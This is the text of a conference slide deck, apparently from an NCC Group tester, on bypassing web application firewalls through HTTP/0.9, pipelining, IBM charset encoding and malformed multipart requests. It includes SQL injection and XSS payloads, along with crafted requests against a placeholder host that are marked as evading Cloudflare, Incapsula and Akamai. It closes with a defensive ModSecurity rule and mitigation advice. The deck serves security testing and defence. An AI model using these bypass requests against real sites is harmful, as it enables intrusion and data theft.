WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour

WAF Bypass Techniques
Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili (@irsdl), NCC Group

Today’s Menu
• HTTP smuggling like real smugglers!
• Old but forgotten techniques
• Eyes watering yummy HTTP requests!

Testers’ Nightmare
A simple request:
“ Could you please whitelist our IP address range for this assessment? ”
An unhelpful response:
“ You are the hacker, figure it out yourself”
Why should we whitelist you?
• Not enough time!
• Reduces quality
• WAF effectiveness test is a separate assessment

Whitelist vs Blacklists
Whitelists ✔
• Expensive to set up
• Requires application knowledge
• High maintenance
• Harder to break
Blacklists ❌
• Quick & easy to set up
• Requires minimal training
• Low maintenance
• Easier to break

Side Note: WAFs in the Cloud
The secret is the IP address! wait, what?!
• Finding the IP address is not difficult
• Historical DNS records, monitoring DNS changes, misconfigured subdomains, non-web
service subdomains, SSL certificates, passive IP disclosure issues in web, code, or files,
SSRF, trackbacks & pingbacks, verbose errors, debug/troubleshooting headers, enumerating
IPv4 ranges, etc. [see the references]
• Will be revealed sooner or later
• Security via obscurity

WAF Bypass Categories
• New or missed payloads
• Payload mutation and encoding techniques
• Finding exceptions
• Special values (e.g. headers by “Bypass WAF” Burp Suite extension)
• Larger requests
• Payload delivery
• Request mutation

Payload Delivery Category - Examples
• Concurrency and delay
• Slow requests
• Multiple requests at the same time
• Unsupported SSL/TLS ciphers by the WAF
• HTTPS and perhaps HTTP/2
• HTTP v0.9
• HTTP-Pipelining

HTTP v0.9
• Very old!
• Supposedly one liner – only GET
• No URL, No HTTP Version, No Headers
• Support expectation removed in HTTP/1.1 RFC 7230
Year HTTP Version RFC
1991 0.9
1996 1.0 RFC 1945
1997 1.1
RFC 2068
-> RFC 2616 (1999)
-> RFC 7230-7235 (2014)
2015 2.0 RFC 7540

HTTP v0.9 , What Can Go Wrong?
• Interpretation/implementation issues since it’s old!
• Still supported by all major web servers
• Absolute URL in GET request with parameters
• Apache Tomcat supports headers and POST requests
• Inspired further by @regilero at DEFCON 24 (Hiding Wookiees in HTTP)
• I was only 1yr late to rediscover some of it, good record for me! ;-)
GET http://http.ninja/?param1=value1

Sending HTTP v0.9
What to use?
• telnet
• netcat
• openssl
• Or write your own program
Client side web proxies? Not so useful 
• Burp Suite can send it but usually with no response
Probably blocked as a bad request by a middleware
• HTTP Pipelining to the rescue

HTTP Pipelining
Pipeline Recipe
• HTTP/1.1
• “Connection: close” ❌
• HTTP/1.0
• “Connection: keep-alive” ✔
• Multiple requests in one
• FIFO
• Hop by Hop 

HTTP Pipelining Example 1 - Request

HTTP Pipelining Example 2 - Request

HTTP Pipelining – Burp Suite
No “Accept-Encoding” to get text, CRLF in the end, mind the “Connection”
header

HTTP Pipelining + HTTP 0.9 Example 1
“admin” is blocked in the path
• HTTP 0.9 has not been disabled
• URL encoding and normal HTTP pipelining cannot bypass it (super secure stuff!)
• Directory traversal techniques e.g. “/foo/../admin” will not help

HTTP Pipelining + HTTP 0.9 Example 2
Abusing Apache Tomcat full header support
• Burp Suite adds an additional spacing
• CR (0x0D) can be used instead of CR+LF (0x0D+0x0A)

HTTP Pipelining – Python DIY
• https://github.com/irsdl/httpninja/blob/master/Generic%20Codes/web_request_socket.py
req1_http_1_1 = RequestObject('GET', 'http://asitename.com:8080/sum.jsp?a=1&b=1&c=2&d=2')
req2_http_1_0 = RequestObject('POST', 'http://asitename.com:8080/sum.jsp?a=3&b=3', 'c=4&d=4',
{'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '7'},
autoContentLength=False,
HTTPVersion="HTTP/1.0")
req3_http_0_9 = RequestObject('POST', 'http://asitename.com:8080/sum.jsp?a=5&b=5', 'c=6&d=6',
{'Content-Type': 'application/x-www-form-urlencoded'},
autoContentLength=True, HTTPVersion="")
joinedReqs = [req1_http_1_1, req2_http_1_0, req3_http_0_9]
pipelineResult = RequestObjectsToHTTPPipeline(joinedReqs)
print pipelineResult
print SendHTTPRequestBySocket(pipelineResult, req1_http_1_1.targetName, req1_http_1_1.targetPort)

Request Mutation Category
Using known & unknowns features!
• Requires lots of test-cases, fuzzing, behaviour analysis
• Depends on the environment
• web servers, web handlers, proxies, etc.
• Examples:
• Duplicate parameters (HPP)
• Path or parameters Evasion
• Misshaped Requests

Features from RFC
Should be known by WAFs… (hopefully by all of them)
• Read the boring RFC
• Always look for changes in different RFCs
• Possible canonical issues
• Look for vague statements, "RECOMMENDED", "MAY", and "OPTIONAL“
• e.g.: Line folding in headers (obsoleted by rfc7230)
• Multiline headers, starts with CR/LF followed by a horizontal tab or space character!
• Example: I’ve used in the past to bypass filtering (not a WAF though)
GET /page.do?p1=v1 HTTP/1.1
Host:
www.filtered.com

Custom Implementation
The ones that can actually make a WAF bleed!
• Fuzzing is the key
• Not standards and are technology specific
• Examples:
• Parameter blacklist bypass - Python Django
• & == ;
• Payload bypass - IIS, ASP Classic
• <script> == <%s%cr%u0131pt>
• Path blacklist bypass - Apache Tomcat
• /path1/path2/ == ;/path1;foo/path2;bar/;

Content Encoding
Abusing the power of “charset” encoding
• Can be used in requests not just responses
• Useful for ASCII characters
• Might corrupt Unicode
• Useful for server-side issues
• Not possible to use it normally via a browser
• Examples:
• application/x-www-form-urlencoded;charset=ibm037
• multipart/form-data; charset=ibm037,boundary=blah
• multipart/form-data; boundary=blah ; charset=ibm037

Request Encoding is Challenging
Implemented differently
• All at least supports IBM037, IBM500, cp875, and IBM1026 (all very similar)
Target QueryString POST Body & and = URL-encoding
Nginx, uWSGI - Django - Python3 ✔ ✔ ✔ ❌
Nginx, uWSGI - Django - Python2 ✔ ✔ ❌ ✔ (sometimes required)
Apache Tomcat - JSP ❌ ✔ ❌ ✔ (sometimes required)
IIS - ASPX (v4.x) ✔ ✔ ❌ ✔ (optional)
IIS - ASP classic ❌ ❌
Apache/IIS - PHP ❌ ❌

Encoding/Conversion
• Similar to a substitution ciphers
• Payload:
• <script>
• IBM037/IBM500/cp875/IBM1026 URL-encoded:
• L%A2%83%99%89%97%A3n
• Simple Python code:
import urllib
s = 'Payload Here'
print urllib.quote_plus(s.encode("IBM037"))

Automating Request Encoding
Burp Suite HTTP Smuggler
https://github.com/nccgroup/BurpSuiteHTTPSmuggler
• Supports request encoding
• More to come

ASP.NET Request Validation Bypass 1/5
AntiXSS bypass, limits:
• “On error resume next” – or – an empty “catch” around the first read
• Ignores the first use (sees an empty string)
• Can target GET or POST not both at the same time

Useful for:
• Stored XSS
• Validation bypass if (time-of-check time-of-use issue)
• It validates an input parameter and an empty string is Ok to go through!
• It reads the same input parameter again from GET or POST
The twist:
• When payload is in QueryString, method should be POST
• When payload is in the body, method should be GET (keep the content-type header)

Exploiting XSS in the POST body as an example:
post_param_1=<script>alert(000)</script>&post_param_2=<script>alert(111)</script>

SQL injection when single quote is not allowed!
Using encoding payload would be:
?uid=<foobar>'union all select password from users where uid='admin

?uid=<foobar>'union all select password from users where uid='admin

How to Stop Request Encoding?
Write a new rule
• ModSecurity when only “charset=utf-8” is allowed:
SecRule REQUEST_HEADERS:Content-Type "@rx (?i)charsets*=s*(?!utf-8)"
"id:'1313371',phase:1,t:none,deny,log,msg:'Invalid charset not allowed', logdata:'%{MATCHED_VAR}'"
• Incapsula:
Content-Type contains "charset" & Content-Type not-contains "charset=utf-8"

Test Case Walkthrough
Today’s Test Case: IIS 10 ASPX (v4)

Today’s Test Case: IIS 10 ASPX (v4)
5 Simple Steps:
1. HTTP verb replacement
2. Changing body type
3. Removing unnecessary parts
4. Adding unused parts
5. Changing request encoding

Step 1 – HTTP Verb Replacement
• Replacing POST with GET
• Works on:
• IIS (tested on ASP classic, ASPX, PHP)
• Keep the “content-type” header

Request A – Obviously Bad (SQLi Payload)
POST /path/sample.aspx?input0=0 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
input1='union all select * from users--
Cloudflare ❌
Incapsula ❌
Akamai ❌

Request A1
GET /path/sample.aspx?input0=0 HTTP/1.1
HOST: victim.com
Content-Length: 41
Cloudflare ❌
Incapsula ❌
Akamai ❌

Step 2 – Changing Body Type
• File uploads also use “multipart/form-data”
• Works on:
• Nginx,uWSGI-Django-Python3
• Nginx,uWSGI-Django-Python2
• Apache-PHP5(mod_php)
• Apache-PHP5(FastCGI)
• IIS (ASPX, PHP)

Request A2
HOST: victim.com
Content-Type: multipart/form-data; boundary=--1
Content-Length: [length of body]
----1
Content-Disposition: form-data; name="input1"
'union all select * from users--
----1--
Cloudflare ❌
Incapsula ❌
Akamai ❌

Step 3 – Removing Unnecessary Parts
• What if we remove some parts of the body?
• Might not be useful if misshaped requests are detected
• Removing last “--” in the boundary:
• Nginx,uWSGI-Django-Python 2 & 3
• Apache-PHP5(mod_php & FastCGI)
• IIS (ASPX, PHP)
• Removing “form-data;” from the multipart request:
• Apache-PHP5(mod_php & FastCGI)
• IIS (ASPX, PHP)

Request A3
HOST: victim.com
Content-Type: multipart/form-data; boundary=1
--1
Content-Disposition: name="input1"
--1
Cloudflare ✔
Incapsula ❌
Akamai ✔

Step 4 – Adding Unused Parts
• What if we add some confusing parts?
• Additional headers
• Duplicated values
• Useless stuffs, who cares?
• can be useful too
• Spacing CR LF after “Content-Disposition:” and before the space
• PHP  ASPX 

Request A4
HOST: victim.com
Content-Type: multipart/form-data; boundary=1,boundary=irsdl
--1
--1--
--1;--1;header
Content-Disposition: name="input1"; filename ="test.jpg"
--1
Cloudflare ✔
Incapsula ✔
Akamai ✔
Space characters

What If, Step 2  Step 4
Now that everything has been bypassed…
Jumping from
Step 2 (Changing body type)
to
Step 4 (Adding unused parts)

Flashback: Request A2
HOST: victim.com
Content-Type: multipart/form-data; boundary=--1
----1
Content-Disposition: form-data; name="input1"
----1--
Cloudflare ❌
Incapsula ❌
Akamai ❌

Request A4+
HOST: victim.com
Content-Type: multipart/form-data; boundary=--1,boundary=irsdl
----1
----1--
----1;----1;header
Content-Disposition: form-data; name="input1"; filename ="test.jpg"
----1--
Cloudflare ❌
Incapsula ✔
Akamai ✔
Space characters

Step 5 – Changing Request Encoding
• This can bypass most WAFs on its own
• What if it detects the “charset”?
• Perhaps use “,” rather than “;” for ASPX, or duplicate it, or add
additional ignored strings…
“application/x-www-form-urlencoded, foobar charset=ibm500 ; charset=utf-8”
• Charset value can be quoted too
“application/x-www-form-urlencoded, foobar charset="ibm500" ; charset=utf-8”

Request A4
HOST: victim.com
Content-Type: multipart/form-data; boundary=1,boundary=irsdl
--1
--1--
--1;--1;header
Content-Disposition: name="input1"; filename ="test.jpg"
--1
Cloudflare ✔
Incapsula ✔
Akamai ✔

Remember Request A?
POST /path/sample.aspx?input0=0 HTTP/1.1
HOST: victim.com
Content-Length: 41

Request B
GET /path/sample.aspx?%89%95%97%A4%A3%F0=%F0 HTTP/1.1
HOST: victim.com
Content-Type: multipart/form-data, foobar charset=ibm500
;charset=utf-8 ; boundary=1,boundary=irsdl
Content-Length: 129
--1
--1--
--1;--1;header
Ã–•£…•£`Ä‰¢—–¢‰£‰–•z@••”…~•‰•—¤£ñ•^@†‰“…••”…@@@~•£…¢£K‘—‡•
}¤•‰–•@•““@¢…“…ƒ£@@†™–”@¤¢…™¢``
--1
Cloudflare ✔
Incapsula ✔
Akamai ✔

Lesson Learned
There is always a bypass but at least make it harder
• Do not rely only on cloud based WAFs when IP address can be used directly
• Do not support HTTP 0.9 – disable it wherever you have a choice
• Only accept known charset on incoming requests
• Discard malformed HTTP requests
• Train the WAF and use whitelists rather than blacklists
Whitelist legitimate testers’ IP address during your assessment
• But remember to remove the rules afterwards

Thank you!
Soroush Dalili (@irsdl), NCC Group (@NCCGroupInfosec)

References 1/2
• http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
• http://www.ussrback.com/docs/papers/IDS/whiskerids.html
• https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-
24-Regilero-Hiding-Wookiees-In-Http.pdf
• https://securityvulns.ru/advisories/content.asp
• https://dl.packetstormsecurity.net/papers/general/whitepaper_httpresponse.pdf
• https://cdivilly.wordpress.com/2011/04/22/java-servlets-uri-parameters/
• https://msdn.microsoft.com/en-us/library/system.text.encodinginfo.getencoding.aspx
• http://securitee.org/files/cloudpiercer_ccs2015.pdf
• https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-
encoding-to-bypass-web-application-firewalls/

References 2/2
• https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-
request-validation-bypass-using-request-encoding/
• https://www.rootusers.com/find-the-ip-address-of-a-website-behind-cloudflare/
• https://www.ericzhang.me/resolve-cloudflare-ip-leakage/
• https://community.akamai.com/community/web-performance/blog/2015/03/31/using-akamai-
pragma-headers-to-investigate-or-troubleshoot-akamai-content-delivery
• https://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/
• https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html

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